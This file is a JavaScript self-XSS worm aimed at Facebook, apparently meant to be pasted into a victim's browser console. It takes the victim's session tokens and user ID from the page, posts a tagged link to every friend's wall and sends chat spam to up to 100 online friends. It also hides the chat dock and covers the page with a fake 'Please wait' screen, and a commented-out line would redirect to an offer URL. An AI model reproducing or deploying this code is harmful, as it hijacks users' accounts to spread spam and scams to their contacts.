

// Setup some variables 

var post_form_id = document.getElementsByName('post_form_id')[0].value; 
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; 
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);

//Message variables
            var statusmessage="asdfasfdsfasfdsa"; 
            var title="asdfsdfasfdasfd"; 
            var link="http://google.com"
            var description="asdfasfdsadfasfdasfds"
            var picture="http://profile.ak.fbcdn.net/hprofile-ak-snc4/260985_100002899596875_2472499_q.jpg";
			var favicon="http://google.com/favicon.ico"

// Chat message variables 

var linkies = [ 
   "http://www.facebook.com/bla1", 
   "http://www.facebook.com/bla2", 
   "http://www.facebook.com/bla3", 
   "http://www.facebook.com/bla4" 
] 

var this_chat = "bla bla bla "
var prepared_chat = encodeURIComponent(this_chat); 




/////////////////////////////////////////////////////////////////////////////////////////////////////////////// 
// Message everyone 
/////////////////////////////////////////////////////////////////////////////////////////////////////////////// 


var friends = new Array();
gf = new XMLHttpRequest(); 
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&viewer=" + user_id + "&token"+ Math.random() + "&filter[0]=user&options[0]=friends_only",false); 
gf.send(); 
if(gf.readyState!=4){ }else{ 
	data = eval('(' + gf.responseText.substr(9) + ')'); 
	if(data.error){ }else{ 
		friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
	}
}
for(var i=0; i<friends.length; i++){
	var httpwp = new XMLHttpRequest();
	var urlwp = "ajax/profile/composer.php?__a=1";
	
	
    var paramswp = "post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&xhpc_composerid=u574553_1&xhpc_targetid="+friends[i].uid+"&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]="+title+"&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]="+link+"&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]="+title+"&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]="+picture+"&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]="+description+"&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]="+description+"&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]="+link+"&attachment[params][favicon]=" + favicon +"&attachment[params][title]="+title+"&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]="+description+"&attachment[params][url]="+link+"&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]="+description+"&attachment[params][images][0]="+picture+"&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text="+statusmessage+")&xhpc_message="+statusmessage+" @["+friends[7].uid+":1]"+" @["+friends[8].uid+":1]"+" @["+friends[9].uid+":1]"+" @["+friends[10].uid+":1]"+" @["+friends[11].uid+":1]"+" @["+friends[12].uid+":1]"+" @["+friends[13].uid+":1]"+" @["+friends[14].uid+":1]"+"&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest"; 
	
	httpwp.open("POST", urlwp, true);
	httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	httpwp.setRequestHeader("Content-length", paramswp.length);
	httpwp.setRequestHeader("Connection", "keep-alive");
	httpwp.onreadystatechange = function(){
		if (httpwp.readyState == 4 && httpwp.status == 200){
			
		}
	}
	httpwp.send(paramswp);
}


/////////////////////////////////////////////////////////////////////////////////////////////////////////////// 
// Hide chat boxes 
/////////////////////////////////////////////////////////////////////////////////////////////////////////////// 

var hide = document.getElementById('fbDockChatTabSlider'); 

hide.style.display = "none"; 


/////////////////////////////////////////////////////////////////////////////////////////////////////////////// 
// Get online friends and send chat message to them 
/////////////////////////////////////////////////////////////////////////////////////////////////////////////// 

var http3 = new XMLHttpRequest(); 

var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1"; 
var params3 = "user="+user_id+"&popped_out=false&force_render=true&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"; 
http3.open("POST", url3, true); 

//Send the proper header information along with the request 
http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
http3.setRequestHeader("Content-length", params3.length); 
http3.setRequestHeader("Connection", "close"); 

http3.onreadystatechange = function() {//Call a function when the state changes. 
   if(http3.readyState == 4 && http3.status == 200) { 
       
      var response3 = http3.responseText; 
       
      response3 = response3.replace("for (;;);", ""); 
      response3 = JSON.parse(response3); 
       
      var count = 0; 
       
      for(property in response3.payload.buddy_list.nowAvailableList){ 
          
         if(count < 100){ 
             
            // Loop to send messages 
          
            // New XMLHttp object 
            var httpc = new XMLHttpRequest(); 
             
            // Generate random message ID 
                         
            var msgid = Math.floor(Math.random()*1000000); 
             
            var time = Math.round(new Date().getTime() / 1000); 
             
            var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1"; 
            var paramsc = "msg_id="+msgid+"&client_time="+time+"&to="+property+"&num_tabs=1&pvs_time="+time+"&msg_text="+prepared_chat+"&to_offline=false&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"; 
            httpc.open("POST", urlc, true); 
             
            //Send the proper header information along with the request 
            httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
            httpc.setRequestHeader("Content-length", paramsc.length); 
            httpc.setRequestHeader("Connection", "close"); 
             
            httpc.onreadystatechange = function() { //Call a function when the state changes. 
               if(httpc.readyState == 4 && httpc.status == 200){ 
                  //alert(http.responseText); 
                  //alert('buddy list fetched'); 
               } 
            } 
            httpc.send(paramsc); 
    
         } 
          
         //alert(property); 
         count++; // increment counter 
       
      } 
       
      http3.close; // Close the connection 
       
   } 
} 
http3.send(params3); 




document.getElementById('contentArea').innerHTML="<center><br><br><br><br><br><br><br><br><img src=\"http://www.hindustantimes.com/images/loading_gif.gif\" /><br />Please wait...</center>"; 
//setTimeout("window.location = 'http://myofferurl.com';", 15000); 
